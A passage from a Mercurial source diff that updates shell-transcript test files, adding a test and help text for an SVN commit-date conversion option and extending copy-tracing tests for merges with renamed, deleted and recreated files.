(glob) msg: merge A /right-1 A /right-2 revision: 3 author: test + date: * (glob) msg: left-2 M /b A /left-2 revision: 2 author: test + date: * (glob) msg: left-1 M /b A /left-1 revision: 1 author: test + date: * (glob) msg: base A /b @@ -459,10 +473,12 @@ 2 2 test .hgtags revision: 2 author: test + date: * (glob) msg: Tagged as v1.0 A /.hgtags revision: 1 author: test + date: * (glob) msg: Add file a A /a $ rm -rf a a-hg a-hg-wc @@ -494,10 +510,12 @@ 2 2 test exec revision: 2 author: test + date: * (glob) msg: remove executable bit M /exec revision: 1 author: test + date: * (glob) msg: create executable A /exec $ test ! -x a-hg-wc/exec @@ -540,11 +558,77 @@ 2 2 test b revision: 2 author: test + date: * (glob) msg: Another change A /b revision: 1 author: test + date: * (glob) msg: Some change A /a $ rm -rf a a-hg a-hg-wc + +Commit dates convertion + + $ hg init a + + $ echo a >> a/a + $ hg add a + adding a/a + $ hg --cwd a ci -d '1 0' -A -m 'Change 1' + + $ echo a >> a/a + $ hg --cwd a ci -d '2 0' -m 'Change 2' + + $ echo a >> a/a + $ hg --cwd a ci -d '2 0' -m 'Change at the same time' + + $ echo a >> a/a + $ hg --cwd a ci -d '1 0' -m 'Change in the past' + + $ echo a >> a/a + $ hg --cwd a ci -d '3 0' -m 'Change in the future' + + $ hg convert --config convert.svn.dangerous-set-commit-dates=true -d svn a + assuming destination a-hg + initializing svn repository 'a-hg' + initializing svn working copy 'a-hg-wc' + scanning source... + sorting... + converting... + 4 Change 1 + 3 Change 2 + 2 Change at the same time + 1 Change in the past + 0 Change in the future + $ svnupanddisplay a-hg-wc 0 + 5 5 test . + 5 5 test a + revision: 5 + author: test + date: 1970-01-01T00:00:03.000000Z + msg: Change in the future + M /a + revision: 4 + author: test + date: 1970-01-01T00:00:01.000000Z + msg: Change in the past + M /a + revision: 3 + author: test + date: 1970-01-01T00:00:02.000000Z + msg: Change at the same time + M /a + revision: 2 + author: test + date: 1970-01-01T00:00:02.000000Z + msg: Change 2 + M /a + revision: 1 + author: test + date: 1970-01-01T00:00:01.000000Z + msg: Change 1 + A /a + + $ rm -rf a a-hg a-hg-wc diff -r bc268ea9f984 -r f67b8946bb1b tests/test-convert.t --- a/tests/test-convert.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-convert.t Tue Apr 20 11:01:06 2021 -0400 @@ -388,6 +388,23 @@ does not convert tags from the source repo to the target repo. The default is False. + Subversion Destination + ###################### + + Original commit dates are not preserved by default. + + convert.svn.dangerous-set-commit-dates + preserve original commit dates, forcefully setting + "svn:date" revision properties. This option is DANGEROUS and + may break some subversion functionality for the resulting + repository (e.g. filtering revisions with date ranges in + "svn log"), as original commit dates are not guaranteed to + be monotonically increasing. + + For commit dates setting to work destination repository must have "pre- + revprop-change" hook configured to allow setting of "svn:date" revision + properties. See Subversion documentation for more details. + options ([+] can be repeated): -s --source-type TYPE source repository type diff -r bc268ea9f984 -r f67b8946bb1b tests/test-copies-chain-merge.t --- a/tests/test-copies-chain-merge.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-copies-chain-merge.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,4 +1,4 @@ -#testcases filelog compatibility changeset sidedata upgraded +#testcases filelog compatibility changeset sidedata upgraded upgraded-parallel ===================================================== Test Copy tracing for chain of copies involving merge @@ -14,11 +14,24 @@ use git diff to see rename + $ cat << EOF >> ./no-linkrev + > #!$PYTHON + > # filter out linkrev part of the debugindex command + > import sys + > for line in sys.stdin: + > if " linkrev " in line: + > print(line.rstrip()) + > else: + > l = "%s *%s" % (line[:6], line[14:].rstrip()) + > print(l) + > EOF + $ chmod +x no-linkrev + $ cat << EOF >> $HGRCPATH > [diff] > git=yes > [command-templates] - > log={rev} {desc}\n + > log={desc}\n > EOF #if compatibility @@ -45,28 +58,45 @@ #endif + $ cat > same-content.txt << EOF + > Here is some content that will be the same accros multiple file. + > + > This is done on purpose so that we end up in some merge situation, were the + > resulting content is the same as in the parent(s), but a new filenodes still + > need to be created to record some file history information (especially + > about copies). + > EOF + $ hg init repo-chain $ cd repo-chain Add some linear rename initialy - $ echo a > a - $ echo b > b - $ echo h > h - $ hg ci -Am 'i-0 initial commit: a b h' + $ cp ../same-content.txt a + $ cp ../same-content.txt b + $ cp ../same-content.txt h + $ echo "original content for P" > p + $ echo "original content for Q" > q + $ echo "original content for R" > r + $ hg ci -Am 'i-0 initial commit: a b h p q r' adding a adding b adding h + adding p + adding q + adding r $ hg mv a c - $ hg ci -Am 'i-1: a -move-> c' + $ hg mv p s + $ hg ci -Am 'i-1: a -move-> c, p -move-> s' $ hg mv c d - $ hg ci -Am 'i-2: c -move-> d' + $ hg mv s t + $ hg ci -Am 'i-2: c -move-> d, s -move-> t' $ hg log -G - @ 2 i-2: c -move-> d + @ i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r And having another branch with renames on the other side @@ -76,15 +106,15 @@ $ hg mv e f $ hg ci -Am 'a-2: e -move-> f' $ hg log -G --rev '::.' - @ 4 a-2: e -move-> f + @ a-2: e -move-> f | - o 3 a-1: d -move-> e + o a-1: d -move-> e | - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Have a branching with nothing on one side @@ -95,13 +125,13 @@ $ hg ci -m 'b-1: b update' created new head $ hg log -G --rev '::.' - @ 5 b-1: b update + @ b-1: b update | - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Create a branch that delete a file previous renamed @@ -112,13 +142,13 @@ $ hg ci -m 'c-1 delete d' created new head $ hg log -G --rev '::.' - @ 6 c-1 delete d + @ c-1 delete d | - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Create a branch that delete a file previous renamed and recreate it @@ -132,15 +162,15 @@ $ hg add d $ hg ci -m 'd-2 re-add d' $ hg log -G --rev '::.' - @ 8 d-2 re-add d + @ d-2 re-add d | - o 7 d-1 delete d + o d-1 delete d | - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Having another branch renaming a different file to the same filename as another @@ -153,16 +183,61 @@ $ hg mv g f $ hg ci -m 'e-2 g -move-> f' $ hg log -G --rev '::.' - @ 10 e-2 g -move-> f + @ e-2 g -move-> f + | + o e-1 b -move-> g + | + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s | - o 9 e-1 b -move-> g + o i-0 initial commit: a b h p q r + + $ hg up -q null + +Having a branch similar to the 'a' one, but moving the 'p' file around. + + $ hg up 'desc("i-2")' + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg mv t u + $ hg ci -Am 'p-1: t -move-> u' + created new head + $ hg mv u v + $ hg ci -Am 'p-2: u -move-> v' + $ hg log -G --rev '::.' + @ p-2: u -move-> v + | + o p-1: t -move-> u + | + o i-2: c -move-> d, s -move-> t | - o 2 i-2: c -move-> d + o i-1: a -move-> c, p -move-> s | - o 1 i-1: a -move-> c + o i-0 initial commit: a b h p q r + + $ hg up -q null + +Having another branch renaming a different file to the same filename as another + + $ hg up 'desc("i-2")' + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg mv r w + $ hg ci -m 'q-1 r -move-> w' + created new head + $ hg mv w v + $ hg ci -m 'q-2 w -move-> v' + $ hg log -G --rev '::.' + @ q-2 w -move-> v | - o 0 i-0 initial commit: a b h + o q-1 r -move-> w + | + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + $ hg up -q null Setup all merge =============== @@ -176,35 +251,37 @@ - rename on one side - unrelated change on the other side + $ case_desc="simple merge - A side: multiple renames, B side: unrelated update" + $ hg up 'desc("b-1")' - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("a-2")' 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mBAm-0 simple merge - one way' + $ hg ci -m "mBAm-0 $case_desc - one way" $ hg up 'desc("a-2")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mABm-0 simple merge - the other way' + $ hg ci -m "mABm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mABm")+desc("mBAm"))' - @ 12 mABm-0 simple merge - the other way + @ mABm-0 simple merge - A side: multiple renames, B side: unrelated update - the other way |\ - +---o 11 mBAm-0 simple merge - one way + +---o mBAm-0 simple merge - A side: multiple renames, B side: unrelated update - one way | |/ - | o 5 b-1: b update + | o b-1: b update | | - o | 4 a-2: e -move-> f + o | a-2: e -move-> f | | - o | 3 a-1: d -move-> e + o | a-1: d -move-> e |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r @@ -216,12 +293,14 @@ - one deleting the change and recreate an unrelated file after the merge + $ case_desc="simple merge - C side: delete a file with copies history , B side: unrelated update" + $ hg up 'desc("b-1")' 1 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg merge 'desc("c-1")' 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mBCm-0 simple merge - one way' + $ hg ci -m "mBCm-0 $case_desc - one way" $ echo bar > d $ hg add d $ hg ci -m 'mBCm-1 re-add d' @@ -230,29 +309,29 @@ $ hg merge 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mCBm-0 simple merge - the other way' + $ hg ci -m "mCBm-0 $case_desc - the other way" created new head $ echo bar > d $ hg add d $ hg ci -m 'mCBm-1 re-add d' $ hg log -G --rev '::(desc("mCBm")+desc("mBCm"))' - @ 16 mCBm-1 re-add d + @ mCBm-1 re-add d | - o 15 mCBm-0 simple merge - the other way + o mCBm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - the other way |\ - | | o 14 mBCm-1 re-add d + | | o mBCm-1 re-add d | | | - +---o 13 mBCm-0 simple merge - one way + +---o mBCm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - one way | |/ - | o 6 c-1 delete d + | o c-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Comparing with a merge re-adding the file afterward @@ -262,84 +341,139 @@ - one with change to an unrelated file - one deleting and recreating the change + $ case_desc="simple merge - B side: unrelated update, D side: delete and recreate a file (with different content)" + $ hg up 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("d-2")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mBDm-0 simple merge - one way' + $ hg ci -m "mBDm-0 $case_desc - one way" $ hg up 'desc("d-2")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mDBm-0 simple merge - the other way' + $ hg ci -m "mDBm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mDBm")+desc("mBDm"))' - @ 18 mDBm-0 simple merge - the other way + @ mDBm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - the other way |\ - +---o 17 mBDm-0 simple merge - one way + +---o mBDm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - one way | |/ - | o 8 d-2 re-add d + | o d-2 re-add d | | - | o 7 d-1 delete d + | o d-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Comparing with a merge with colliding rename -------------------------------------------- +Subcase: new copy information on both side +`````````````````````````````````````````` + - the "e-" branch renaming b to f (through 'g') - the "a-" branch renaming d to f (through e) + $ case_desc="merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f)" + $ hg up 'desc("a-2")' 2 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ hg merge 'desc("e-2")' --tool :union - merging f - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("e-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) (branch merge, don't forget to commit) - $ hg ci -m 'mAEm-0 simple merge - one way' + $ hg ci -m "mAEm-0 $case_desc - one way" $ hg up 'desc("e-2")' - 2 files updated, 0 files merged, 0 files removed, 0 files unresolved - $ hg merge 'desc("a-2")' --tool :union - merging f - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("a-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) (branch merge, don't forget to commit) - $ hg ci -m 'mEAm-0 simple merge - the other way' + $ hg ci -m "mEAm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mAEm")+desc("mEAm"))' - @ 20 mEAm-0 simple merge - the other way + @ mEAm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - the other way |\ - +---o 19 mAEm-0 simple merge - one way + +---o mAEm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - one way | |/ - | o 10 e-2 g -move-> f + | o e-2 g -move-> f | | - | o 9 e-1 b -move-> g + | o e-1 b -move-> g | | - o | 4 a-2: e -move-> f + o | a-2: e -move-> f | | - o | 3 a-1: d -move-> e + o | a-1: d -move-> e |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s | - o 1 i-1: a -move-> c + o i-0 initial commit: a b h p q r + + +Subcase: new copy information on both side with an actual merge happening +````````````````````````````````````````````````````````````````````````` + +- the "p-" branch renaming 't' to 'v' (through 'u') +- the "q-" branch renaming 'r' to 'v' (through 'w') + + $ case_desc="merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content)" + + $ hg up 'desc("p-2")' + 3 files updated, 0 files merged, 2 files removed, 0 files unresolved + $ hg merge 'desc("q-2")' --tool ':union' + merging v + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mPQm-0 $case_desc - one way" + $ hg up 'desc("q-2")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("p-2")' --tool ':union' + merging v + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mQPm-0 $case_desc - the other way" + created new head + $ hg log -G --rev '::(desc("mAEm")+desc("mEAm"))' + o mEAm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - the other way + |\ + +---o mAEm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - one way + | |/ + | o e-2 g -move-> f + | | + | o e-1 b -move-> g + | | + o | a-2: e -move-> f + | | + o | a-1: d -move-> e + |/ + o i-2: c -move-> d, s -move-> t | - o 0 i-0 initial commit: a b h + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r +Subcase: existing copy information overwritten on one branch +```````````````````````````````````````````````````````````` Merge: - one with change to an unrelated file (b) - one overwriting a file (d) with a rename (from h to i to d) + $ case_desc="simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d)" + $ hg up 'desc("i-2")' 2 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg mv h i @@ -347,45 +481,104 @@ created new head $ hg mv --force i d $ hg commit -m "f-2: rename i -> d" - $ hg debugindex d + $ hg debugindex d | ../no-linkrev rev linkrev nodeid p1 p2 - 0 2 169be882533b 000000000000 000000000000 (no-changeset !) - 0 2 b789fdd96dc2 000000000000 000000000000 (changeset !) - 1 8 b004912a8510 000000000000 000000000000 - 2 22 4a067cf8965d 000000000000 000000000000 (no-changeset !) - 2 22 fe6f8b4f507f 000000000000 000000000000 (changeset !) + 0 * d8252ab2e760 000000000000 000000000000 (no-changeset !) + 0 * ae258f702dfe 000000000000 000000000000 (changeset !) + 1 * b004912a8510 000000000000 000000000000 + 2 * 7b79e2fe0c89 000000000000 000000000000 (no-changeset !) $ hg up 'desc("b-1")' - 3 files updated, 0 files merged, 0 files removed, 0 files unresolved + 3 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) $ hg merge 'desc("f-2")' - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) (branch merge, don't forget to commit) - $ hg ci -m 'mBFm-0 simple merge - one way' + $ hg ci -m "mBFm-0 $case_desc - one way" $ hg up 'desc("f-2")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mFBm-0 simple merge - the other way' + $ hg ci -m "mFBm-0 $case_desc - the other way" created new head + $ hg up null --quiet $ hg log -G --rev '::(desc("mBFm")+desc("mFBm"))' - @ 24 mFBm-0 simple merge - the other way + o mFBm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way |\ - +---o 23 mBFm-0 simple merge - one way + +---o mBFm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way | |/ - | o 22 f-2: rename i -> d + | o f-2: rename i -> d + | | + | o f-1: rename h -> i | | - | o 21 f-1: rename h -> i - | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s | - o 1 i-1: a -move-> c + o i-0 initial commit: a b h p q r + + +Subcase: existing copy information overwritten on one branch, with different content) +````````````````````````````````````````````````````````````````````````````````````` + +Merge: +- one with change to an unrelated file (b) +- one overwriting a file (t) with a rename (from r to x to t), v content is not the same as on the other branch + + $ case_desc="simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content" + + $ hg up 'desc("i-2")' + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg mv r x + $ hg commit -m "r-1: rename r -> x" + created new head + $ hg mv --force x t + $ hg commit -m "r-2: rename t -> x" + $ hg debugindex t | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * d74efbf65309 000000000000 000000000000 (no-changeset !) + 1 * 02a930b9d7ad 000000000000 000000000000 (no-changeset !) + 0 * 5aed6a8dbff0 000000000000 000000000000 (changeset !) + 1 * a38b2fa17021 000000000000 000000000000 (changeset !) + $ hg up 'desc("b-1")' + 3 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("r-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mBRm-0 $case_desc - one way" + $ hg up 'desc("r-2")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("b-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mRBm-0 $case_desc - the other way" + created new head + $ hg up null --quiet + $ hg log -G --rev '::(desc("mBRm")+desc("mRBm"))' + o mRBm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - the other way + |\ + +---o mBRm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - one way + | |/ + | o r-2: rename t -> x + | | + | o r-1: rename r -> x + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t | - o 0 i-0 initial commit: a b h + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r +Subcase: reset of the copy history on one side +`````````````````````````````````````````````` + Merge: - one with change to a file - one deleting and recreating the file @@ -393,8 +586,10 @@ Unlike in the 'BD/DB' cases, an actual merge happened here. So we should consider history and rename on both branch of the merge. + $ case_desc="actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content" + $ hg up 'desc("i-2")' - 3 files updated, 0 files merged, 0 files removed, 0 files unresolved + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved $ echo "some update" >> d $ hg commit -m "g-1: update d" created new head @@ -404,33 +599,35 @@ merging d 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mDGm-0 simple merge - one way' + $ hg ci -m "mDGm-0 $case_desc - one way" $ hg up 'desc("g-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("d-2")' --tool :union merging d 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m 'mGDm-0 simple merge - the other way' + $ hg ci -m "mGDm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mDGm")+desc("mGDm"))' - @ 27 mGDm-0 simple merge - the other way + @ mGDm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - the other way |\ - +---o 26 mDGm-0 simple merge - one way + +---o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d | | - o | 7 d-1 delete d + o | d-1 delete d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s | - o 1 i-1: a -move-> c - | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r +Subcase: merging a change to a file with a "copy overwrite" to that file from another branch +```````````````````````````````````````````````````````````````````````````````````````````` Merge: - one with change to a file (d) @@ -445,38 +642,43 @@ | | The current code arbitrarily pick one side + $ case_desc="merge - G side: content change, F side: copy overwrite, no content change" + $ hg up 'desc("f-2")' 1 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg merge 'desc("g-1")' --tool :union - merging d - 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + merging d (no-changeset !) + 0 files updated, 1 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) (branch merge, don't forget to commit) - $ hg ci -m 'mFGm-0 simple merge - one way' + $ hg ci -m "mFGm-0 $case_desc - one way" created new head $ hg up 'desc("g-1")' - 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) $ hg merge 'desc("f-2")' --tool :union - merging d - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + merging d (no-changeset !) + 0 files updated, 1 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) (branch merge, don't forget to commit) - $ hg ci -m 'mGFm-0 simple merge - the other way' + $ hg ci -m "mGFm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mGFm")+desc("mFGm"))' - @ 29 mGFm-0 simple merge - the other way + @ mGFm-0 merge - G side: content change, F side: copy overwrite, no content change - the other way |\ - +---o 28 mFGm-0 simple merge - one way + +---o mFGm-0 merge - G side: content change, F side: copy overwrite, no content change - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 22 f-2: rename i -> d + o | f-2: rename i -> d | | - o | 21 f-1: rename h -> i + o | f-1: rename h -> i |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r @@ -491,6 +693,8 @@ In this case, the file keep on living after the merge. So we should not drop its copy tracing chain. + $ case_desc="merge updated/deleted - revive the file (updated content)" + $ hg up 'desc("c-1")' 1 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg merge 'desc("g-1")' @@ -502,7 +706,7 @@ [1] $ hg resolve -t :other d (no more unresolved files) - $ hg ci -m "mCGm-0" + $ hg ci -m "mCGm-0 $case_desc - one way" created new head $ hg up 'desc("g-1")' @@ -516,23 +720,23 @@ [1] $ hg resolve -t :local d (no more unresolved files) - $ hg ci -m "mGCm-0" + $ hg ci -m "mGCm-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mCGm")+desc("mGCm"))' - @ 31 mGCm-0 + @ mGCm-0 merge updated/deleted - revive the file (updated content) - the other way |\ - +---o 30 mCGm-0 + +---o mCGm-0 merge updated/deleted - revive the file (updated content) - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 6 c-1 delete d + o | c-1 delete d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r @@ -548,13 +752,15 @@ In this case, the file keep on living after the merge. So we should not drop its copy tracing chain. + $ case_desc="merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge)" + $ hg up 'desc("c-1")' 0 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg merge 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (branch merge, don't forget to commit) $ hg revert --rev 'desc("b-1")' d - $ hg ci -m "mCB-revert-m-0" + $ hg ci -m "mCB-revert-m-0 $case_desc - one way" created new head $ hg up 'desc("b-1")' @@ -563,23 +769,23 @@ 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (branch merge, don't forget to commit) $ hg revert --rev 'desc("b-1")' d - $ hg ci -m "mBC-revert-m-0" + $ hg ci -m "mBC-revert-m-0 $case_desc - the other way" created new head $ hg log -G --rev '::(desc("mCB-revert-m")+desc("mBC-revert-m"))' - @ 33 mBC-revert-m-0 + @ mBC-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way |\ - +---o 32 mCB-revert-m-0 + +---o mCB-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way | |/ - | o 6 c-1 delete d + | o c-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r @@ -593,43 +799,724 @@ (the copy information from the branch that was not deleted should win). + $ case_desc="simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch)" + $ hg up 'desc("i-0")' - 3 files updated, 0 files merged, 0 files removed, 0 files unresolved + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg mv b d $ hg ci -m "h-1: b -(move)-> d" created new head $ hg up 'desc("c-1")' - 1 files updated, 0 files merged, 2 files removed, 0 files unresolved + 2 files updated, 0 files merged, 3 files removed, 0 files unresolved $ hg merge 'desc("h-1")' 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m "mCH-delete-before-conflict-m-0" + $ hg ci -m "mCH-delete-before-conflict-m-0 $case_desc - one way" $ hg up 'desc("h-1")' + 2 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("c-1")' + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mHC-delete-before-conflict-m-0 $case_desc - the other way" + created new head + $ hg log -G --rev '::(desc("mCH-delete-before-conflict-m")+desc("mHC-delete-before-conflict-m"))' + @ mHC-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - the other way + |\ + +---o mCH-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - one way + | |/ + | o h-1: b -(move)-> d + | | + o | c-1 delete d + | | + o | i-2: c -move-> d, s -move-> t + | | + o | i-1: a -move-> c, p -move-> s + |/ + o i-0 initial commit: a b h p q r + + +Variant of previous with extra changes introduced by the merge +-------------------------------------------------------------- + +Multiple cases above explicitely test cases where content are the same on both side during merge. In this section we will introduce variants for theses cases where new change are introduced to these file content during the merges. + + +Subcase: merge has same initial content on both side, but merge introduced a change +``````````````````````````````````````````````````````````````````````````````````` + +Same as `mAEm` and `mEAm` but with extra change to the file before commiting + +- the "e-" branch renaming b to f (through 'g') +- the "a-" branch renaming d to f (through e) + + $ case_desc="merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent)" + + $ hg up 'desc("a-2")' + 2 